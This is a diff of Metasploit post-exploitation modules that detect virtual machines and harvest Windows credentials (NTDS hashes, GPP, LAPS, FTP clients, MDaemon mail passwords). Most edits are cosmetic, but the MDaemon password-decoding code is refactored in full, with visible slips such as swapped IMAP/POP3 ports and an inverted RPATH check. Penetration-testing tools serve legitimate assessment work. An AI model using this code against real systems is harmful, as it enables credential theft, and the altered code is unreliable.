@@ -281,7 +280,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "Xen" },
         :update => :unique_data
         )
-      print_status("This is a Xen Virtual Machine")
+      print_good("This is a Xen Virtual Machine")
       return "Xen"
     end
   end
@@ -310,6 +309,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "Qemu/KVM" },
         :update => :unique_data
         )
+      print_good("This is a Qemu/KVM Virtual Machine")
       return "Qemu/KVM"
     end
   end
@@ -324,10 +324,9 @@ class MetasploitModule < Msf::Post
     found ||= xenchk(session)
     found ||= qemuchk(session)
     if found
-      report_vm(found)
+      report_virtualization(found)
     else
       print_status("#{sysinfo['Computer']} appears to be a Physical Machine")
     end
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/avira_password.rb b/modules/post/windows/gather/credentials/avira_password.rb
index 74896d892f..959abdc469 100644
--- a/modules/post/windows/gather/credentials/avira_password.rb
+++ b/modules/post/windows/gather/credentials/avira_password.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/parser/ini'
 
-
 class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
 
@@ -54,5 +53,4 @@ class MetasploitModule < Msf::Post
     print_good("MD5(Unicode) hash found: #{passwd}")
     print_good("Info: Password length is limited to 20 characters.")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb
index 9ac0a30b38..1484d63fbe 100644
--- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb
+++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
@@ -320,5 +319,4 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb
index abd859af08..06681de414 100644
--- a/modules/post/windows/gather/credentials/coreftp.rb
+++ b/modules/post/windows/gather/credentials/coreftp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Post
       begin
         subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites")
         if subkeys.nil? or subkeys.empty?
-          print_status ("CoreFTP not installed for this user.")
+          print_status("CoreFTP not installed for this user.")
           next
         end
 
diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb
index 64dba9515a..5084452691 100644
--- a/modules/post/windows/gather/credentials/credential_collector.rb
+++ b/modules/post/windows/gather/credentials/credential_collector.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index 44e9001cde..e695f9a9ae 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -33,10 +33,13 @@ class MetasploitModule < Msf::Post
     if preconditions_met?
       ntds_file = copy_database_file
       unless ntds_file.nil?
+        file_stat = client.fs.file.stat(ntds_file)
+        print_status "NTDS File Size: #{file_stat.size.to_s} bytes"
         print_status "Repairing NTDS database after copy..."
         print_status repair_ntds(ntds_file)
         realm = sysinfo["Domain"]
         ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
+        print_status "Started up NTDS channel. Preparing to stream results..."
         ntds_parser.each_account do |ad_account|
           print_good ad_account.to_s
           report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
@@ -46,6 +49,7 @@ class MetasploitModule < Msf::Post
             report_hash(hash_string.downcase,ad_account.name, realm)
           end
         end
+        print_status "Deleting backup of NTDS.dit at #{ntds_file}"
         rm_f(ntds_file)
       end
     end
@@ -151,5 +155,4 @@ class MetasploitModule < Msf::Post
     move_file(sc_path, target_path)
     target_path
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/dynazip_log.rb b/modules/post/windows/gather/credentials/dynazip_log.rb
index 718388806f..7f1a741324 100644
--- a/modules/post/windows/gather/credentials/dynazip_log.rb
+++ b/modules/post/windows/gather/credentials/dynazip_log.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb
index c41ffddc34..f814b64f69 100644
--- a/modules/post/windows/gather/credentials/dyndns.rb
+++ b/modules/post/windows/gather/credentials/dyndns.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
@@ -68,7 +67,7 @@ class MetasploitModule < Msf::Post
       content << f.read
     end
     p = store_loot("dyndns.raw", "text/plain", session, "dyndns_raw_config.dyndns")
-    vprint_status("Raw config file saved: #{p.to_s}")
+    vprint_good("Raw config file saved: #{p.to_s}")
     return content
   end
 
@@ -197,5 +196,4 @@ class MetasploitModule < Msf::Post
     # Store data
     do_report(config)
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb
index ac77950ff8..f3cdff06d3 100644
--- a/modules/post/windows/gather/credentials/enum_cred_store.rb
+++ b/modules/post/windows/gather/credentials/enum_cred_store.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -280,7 +280,7 @@ class MetasploitModule < Msf::Post
         creds,
         'credstore_user_creds.txt',
         'Microsoft Credential Store Contents')
-      print_status("Data saved in: #{path}")
+      print_good("Data saved in: #{path}")
     end
   end
 end
diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb
index b2d29b7384..9111462a54 100644
--- a/modules/post/windows/gather/credentials/enum_laps.rb
+++ b/modules/post/windows/gather/credentials/enum_laps.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::LDAP
 
@@ -63,7 +62,7 @@ class MetasploitModule < Msf::Post
 
       if datastore['STORE_LOOT']
         stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
-        print_status("Results saved to: #{stored_path}")
+        print_good("Results saved to: #{stored_path}")
       end
     end
   end
@@ -182,5 +181,4 @@ class MetasploitModule < Msf::Post
     ruby_time = Time.at(unix_time)
     ruby_time.strftime("%d/%m/%Y %H:%M:%S GMT %z")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb
index d99814a6cc..c396212e0a 100644
--- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb
+++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
   include Msf::Auxiliary::Report
diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb
index 4b79e5da02..636f810619 100644
--- a/modules/post/windows/gather/credentials/epo_sql.rb
+++ b/modules/post/windows/gather/credentials/epo_sql.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'net/dns/resolver'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb
index 6b927bc4b9..7246a11e39 100644
--- a/modules/post/windows/gather/credentials/filezilla_server.rb
+++ b/modules/post/windows/gather/credentials/filezilla_server.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info = {})
diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb
index 7f8ae3d3b5..ce33d25421 100644
--- a/modules/post/windows/gather/credentials/flashfxp.rb
+++ b/modules/post/windows/gather/credentials/flashfxp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/parser/ini'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Post
     super(update_info(info,
       'Name'          => 'Windows Gather FlashFXP Saved Password Extraction',
       'Description'   => %q{
-        This module extracts weakly encrypted saved FTP Passwords  from FlashFXP. It
+        This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
         finds saved FTP connections in the Sites.dat file. },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'theLightCosine'],
diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb
index 41ddff8646..ca0080825a 100644
--- a/modules/post/windows/gather/credentials/ftpnavigator.rb
+++ b/modules/post/windows/gather/credentials/ftpnavigator.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb
index 691999ddd2..ef4c700f5d 100644
--- a/modules/post/windows/gather/credentials/ftpx.rb
+++ b/modules/post/windows/gather/credentials/ftpx.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
@@ -98,5 +97,4 @@ class MetasploitModule < Msf::Post
       create_credential_login(login_data.merge(service_data))
     end
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb
index dea1d414b6..1ea325e81e 100644
--- a/modules/post/windows/gather/credentials/gpp.rb
+++ b/modules/post/windows/gather/credentials/gpp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -247,7 +247,7 @@ class MetasploitModule < Msf::Post
     results.each do |result|
       if datastore['STORE']
         stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
-        print_status("XML file saved to: #{stored_path}")
+        print_good("XML file saved to: #{stored_path}")
         print_line
       end
 
diff --git a/modules/post/windows/gather/credentials/heidisql.rb b/modules/post/windows/gather/credentials/heidisql.rb
index 6f81d36414..841c34ff21 100644
--- a/modules/post/windows/gather/credentials/heidisql.rb
+++ b/modules/post/windows/gather/credentials/heidisql.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb
index ad4358434c..27bb65200a 100644
--- a/modules/post/windows/gather/credentials/idm.rb
+++ b/modules/post/windows/gather/credentials/idm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Post
       begin
         subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\")
         if subkeys.nil? or subkeys.empty?
-          print_status ("IDM not installed for this user.")
+          print_status("IDM not installed for this user.")
           return
         end
 
@@ -73,8 +73,7 @@ class MetasploitModule < Msf::Post
           'idm_user_creds.csv',
           'Internet Download Manager User Credentials'
         )
-
-        print_status("IDM user credentials saved in: #{path}")
+        print_good("IDM user credentials saved in: #{path}")
 
       rescue ::Exception => e
         print_error("An error has occurred: #{e.to_s}")
@@ -91,5 +90,4 @@ class MetasploitModule < Msf::Post
     end
     return pass.pack("C*")
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb
index 994e1c5557..657f0a7a37 100644
--- a/modules/post/windows/gather/credentials/imail.rb
+++ b/modules/post/windows/gather/credentials/imail.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb
index d8aff1f4a1..851c8b9112 100644
--- a/modules/post/windows/gather/credentials/imvu.rb
+++ b/modules/post/windows/gather/credentials/imvu.rb
@@ -1,16 +1,13 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
@@ -53,7 +50,7 @@ class MetasploitModule < Msf::Post
       vprint_status("Looking at Key #{hive['HKU']}")
       subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\IMVU\\")
       if subkeys.nil? or subkeys.empty?
-        print_status ("IMVU not installed for this user.")
+        print_status("IMVU not installed for this user.")
         next
       end
       user = registry_getvaldata("#{hive['HKU']}\\Software\\IMVU\\username\\", "")
@@ -78,10 +75,8 @@ class MetasploitModule < Msf::Post
         'imvu_user_creds.csv',
         'IMVU User Credentials'
       )
-
-      print_status("IMVU user credentials saved in: #{path}")
+      print_good("IMVU user credentials saved in: #{path}")
     end
 
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb
index 016b799362..a08ae9567d 100644
--- a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb
+++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,7 +118,7 @@ class MetasploitModule < Msf::Post
 
       # Store McAfee password hash as loot
       loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash')
-      print_status("McAfee VSE password hash saved in: #{loot_path}")
+      print_good("McAfee VSE password hash saved in: #{loot_path}")
     end
   end
 end
diff --git a/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb
index 588664a8ab..46aad81809 100644
--- a/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb
+++ b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,12 +9,12 @@ class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Registry
   Rank = ExcellentRanking
   def initialize(info = {})
-    super(update_info(info,
+    super(
+      update_info(
+        info,
         'Name'          => 'Windows Gather MDaemonEmailServer Credential Cracking',
-        'Description'   => %q{
-          Finds and cracks the stored passwords of MDaemon Email Server.
-        },
-        'References'     =>
+        'Description'   => 'Finds and cracks the stored passwords of MDaemon Email Server',
+        'References'    =>
         [
           ['BID', '4686']
         ],
@@ -23,39 +23,38 @@ class MetasploitModule < Msf::Post
         'Platform'      => ['win'],
         'Arch'          => [ARCH_X86, ARCH_X64],
         'SessionTypes'  => ['meterpreter']
-    ))
+      )
+    )
 
     register_options(
-      [OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory
-    ])
+      [
+        # If software is installed on a rare directory
+        OptString.new('RPATH', [false, 'Path of the MDaemon installation', false])
+      ]
+    )
   end
 
   def run
-      if session.type != 'meterpreter'
-        print_error ('Only meterpreter sessions are supported by this post module')
-        return
-      end
-      progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
-      locations = []
-      progfiles_env.each do |_k, v|
-        vprint_status("Searching MDaemon installation at #{v}")
-        if session.fs.dir.entries(name = v).include? 'MDaemon'
-          vprint_status("Found MDaemon installation at #{v}")
-          locations << v + '\\MDaemon\\'
-        end
-        next
+    if session.type != 'meterpreter'
+      print_error('Only meterpreter sessions are supported by this post module')
+      return
+    end
+
+    progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
+    locations = ['C:\MDaemon\App']
+    progfiles_env.each do |_k, v|
+      vprint_status("Searching MDaemon installation at #{v}")
+      if session.fs.dir.entries(v).include? 'MDaemon'
+        vprint_status("Found MDaemon installation at #{v}")
+        locations << v + '\\MDaemon\\'
       end
+    end
 
     keys = [
       'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath
-      # "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register
     ]
 
-    locations = ['C:\MDaemon\App']
-
-    if datastore['RHOST'].nil?
-      locations << datastore['RHOST']
-    end
+    locations << datastore['RPATH'] if datastore['RPATH'].nil?
 
     keys.each do |key|
       begin
@@ -67,7 +66,7 @@ class MetasploitModule < Msf::Post
       end
       locations << value.data + '\\'
     end
-    locations = locations.uniq
+    locations.uniq!
     locations = locations.compact
     userlist = check_mdaemons(locations)
     get_mdaemon_creds(userlist) if userlist
@@ -79,7 +78,7 @@ class MetasploitModule < Msf::Post
     decode = Base64.decode64(raw_password).bytes
     crack = decode
     result = ''
-    for i in 0..(crack.size - 1)
+    (0..(crack.size - 1)).each do |i|
       if (crack[i] - offset[i]) > 0
         result << (crack[i] - offset[i])
       else
@@ -87,7 +86,7 @@ class MetasploitModule < Msf::Post
       end
     end
     vprint_status("Password #{result}")
-    return result
+    result
   end
 
   def check_mdaemons(locations)
@@ -96,29 +95,29 @@ class MetasploitModule < Msf::Post
       locations.each do |location|
         vprint_status("Checking for Userlist in MDaemons directory at: #{location}")
         begin
-          session.fs.dir.foreach("#{location}") do |fdir|
+          session.fs.dir.foreach(location.to_s) do |fdir|
             ['userlist.dat'].each do |datfile|
-              if fdir.downcase == datfile.downcase
-                filepath = location + '\\' + datfile
-                print_good("Configuration file found: #{filepath}")
-                print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}")
-                vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}")
-                session.fs.file.download_file(tmp_filename, filepath)
-                # userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
-                return tmp_filename
-              end
+              next if fdir.casecmp(datfile) != 0
+
+              filepath = location + '\\' + datfile
+              print_good("Configuration file found: #{filepath}")
+              print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}")
+              vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}")
+              session.fs.file.download_file(tmp_filename, filepath)
+              # userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
+              return tmp_filename
             end
           end
         rescue Rex::Post::Meterpreter::RequestError => e
           vprint_error(e.message)
         end
       end
-    rescue ::Exception => e
+    rescue StandardError => e
       print_error(e.to_s)
       return
     end
 
-    return nil
+    nil
   end
 
   def parse_userlist(data)
@@ -136,8 +135,8 @@ class MetasploitModule < Msf::Post
       mail_dir = line.slice(105..194).strip!
       raw_password = line.slice(195..210)
       password = crack_password(raw_password)
-      access= line.slice(217)
-      users     += 1
+      access = line.slice(217)
+      users += 1
       passwords += 1
       if access == 'Y' # IMAP & POP3
         pop3 << [domain, mailbox, full_name, mail_dir, password]
@@ -157,16 +156,15 @@ class MetasploitModule < Msf::Post
     del_cmd = 'rm '
     del_cmd << data
     system(del_cmd)
-    result = [creds, imap, pop3]
-    return result
+    [creds, imap, pop3]
   end
 
-  def report_cred(creds)
+  def report_mdaemon_cred(creds, port: 0, service: nil)
     # Build service information
     service_data = {
       # address: session.session_host, # Gives internal IP
       address: session.tunnel_peer.partition(':')[0], # Gives public IP
-      port: 25,
+      port: port,
       service_name: 'smtp',
       protocol: 'tcp',
       workspace_id: myworkspace_id
@@ -177,99 +175,11 @@ class MetasploitModule < Msf::Post
       credential_data = {
         origin_type: :session,
         session_id: session_db_id,
-        post_reference_name: self.refname,
+        post_reference_name: refname,
         private_type: :password,
         private_data: cred[4],
         username: cred[1],
-        module_fullname: self.fullname
-      }
-      credential_data.merge!(service_data)
-      credential_core = create_credential(credential_data)
-
-      # Assemble the options hash for creating the Metasploit::Credential::Login object
-      login_data = {
-        core: credential_core,
-        status: Metasploit::Model::Login::Status::UNTRIED,
-        # workspace_id: myworkspace_id
-      }
-
-      login_data.merge!(service_data)
-      create_credential_login(login_data)
-
-      print_status ("    Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
-    end
-
-    # report the goods!
-    loot_path = store_loot('MDaemon.smtp_server.creds', 'text/csv', session, creds.to_csv,
-      'mdaemon_smtp_server_credentials.csv', 'MDaemon SMTP Users Credentials')
-    print_status("SMTP credentials saved in: #{loot_path}")
-  end
-
-  def report_pop3(creds)
-    # Build service information
-    service_data = {
-      # address: session.session_host, # Gives internal IP
-      address: session.tunnel_peer.partition(':')[0], # Gives public IP
-      port: 110,
-      service_name: 'pop3',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-    # Iterate through credentials
-    creds.each do |cred|
-      # Build credential information
-      credential_data = {
-        origin_type: :session,
-        session_id: session_db_id,
-        post_reference_name: self.refname,
-        private_type: :password,
-        private_data: cred[4],
-        username: cred[1],
-        module_fullname: self.fullname
-      }
-      credential_data.merge!(service_data)
-      credential_core = create_credential(credential_data)
-
-      # Assemble the options hash for creating the Metasploit::Credential::Login object
-      login_data = {
-        core: credential_core,
-        status: Metasploit::Model::Login::Status::UNTRIED,
-        # workspace_id: myworkspace_id
-      }
-
-      login_data.merge!(service_data)
-      create_credential_login(login_data)
-
-      print_status ("    Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
-    end
-
-    # report the goods!
-    loot_path = store_loot('MDaemon.pop3_server.creds', 'text/csv', session, creds.to_csv,
-      'mdaemon_pop3_server_credentials.csv', 'MDaemon POP3 Users Credentials')
-    print_status("POP3 credentials saved in: #{loot_path}")
-  end
-
-  def report_imap(creds)
-    # Build service information
-    service_data = {
-      # address: session.session_host, # Gives internal IP
-      address: session.tunnel_peer.partition(':')[0], # Gives public IP
-      port: 143,
-      service_name: 'imap',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-    # Iterate through credentials
-    creds.each do |cred|
-      # Build credential information
-      credential_data = {
-        origin_type: :session,
-        session_id: session_db_id,
-        post_reference_name: self.refname,
-        private_type: :password,
-        private_data: cred[4],
-        username: cred[1],
-        module_fullname: self.fullname
+        module_fullname: fullname
       }
       credential_data.merge!(service_data)
       credential_core = create_credential(credential_data)
@@ -284,30 +194,25 @@ class MetasploitModule < Msf::Post
       login_data.merge!(service_data)
       create_credential_login(login_data)
 
-      print_status ("    Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
+      print_status("    Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
     end
 
     # report the goods!
-    loot_path = store_loot('MDaemon.imap_server.creds', 'text/csv', session, creds.to_csv,
-      'mdaemon_imap_server_credentials.csv', 'MDaemon SMTP Users Credentials')
-    print_status("IMAP credentials saved in: #{loot_path}")
+    loot_path = store_loot(
+      'MDaemon.smtp_server.creds',
+      'text/csv',
+      session,
+      creds.to_csv,
+      "mdaemon_#{service}_server_credentials.csv",
+      "MDaemon #{service.upcase} Users Credentials"
+    )
+    print_status("#{service.upcase} credentials saved in: #{loot_path}")
   end
 
   def get_mdaemon_creds(userlist)
-    credentials = Rex::Text::Table.new(
-      'Header'    => 'MDaemon Email Server Credentials',
-      'Indent'    => 1,
-      'Columns'   =>
-      [
-        'Domain',
-        'Mailbox',
-        'Full Name',
-        'Mail Dir',
-        'Password'
-      ])
-    result = parse_userlist(userlist)
-    report_cred(result[0])
-    report_pop3(result[1])
-    report_imap(result[2])
+    (smtp, imap, pop3) = parse_userlist(userlist)
+    report_mdaemon_cred(smtp, port: 25, service: 'smtp')
+    report_mdaemon_cred(imap, port: 110, service: 'pop3')
+    report_mdaemon_cred(pop3, port: 143, service: 'imap')
   end
 end
diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb
index ceb7c20ad7..4c6126e628 100644
--- a/modules/post/windows/gather/credentials/meebo.rb
+++ b/modules/post/windows/gather/credentials/meebo.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,7 +60,7 @@ class MetasploitModule < Msf::Post
         protocol = $2.to_i
         username = $3
       else
-        print_status("Regex failed...")
+        print_error("Regex failed...")
         return
       end
 
@@ -90,11 +90,11 @@ class MetasploitModule < Msf::Post
           'meebo_user_creds.csv',
           'Meebo Notifier User Credentials'
         )
-        print_status("Meebo Notifier user credentials saved in: #{path}")
+        print_good("Meebo Notifier user credentials saved in: #{path}")
       end
 
     rescue ::Exception => e
-      print_error("An error has occured: #{e.to_s}")
+      print_error("An error has occurred: #{e.to_s}")
     end
   end
 
diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb
index a039fd0fc1..ea3f02af37 100644
--- a/modules/post/windows/gather/credentials/mremote.rb
+++ b/modules/post/windows/gather/credentials/mremote.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rexml/document'
 require 'msf/core/auxiliary/report'
 
@@ -124,5 +123,4 @@ class MetasploitModule < Msf::Post
     aes.iv = iv if iv != nil
     aes.update(encrypted_data) + aes.final
   end
-
 end
diff --git a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
index 4fa8b449de..08dcbb9e49 100644
--- a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
+++ b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
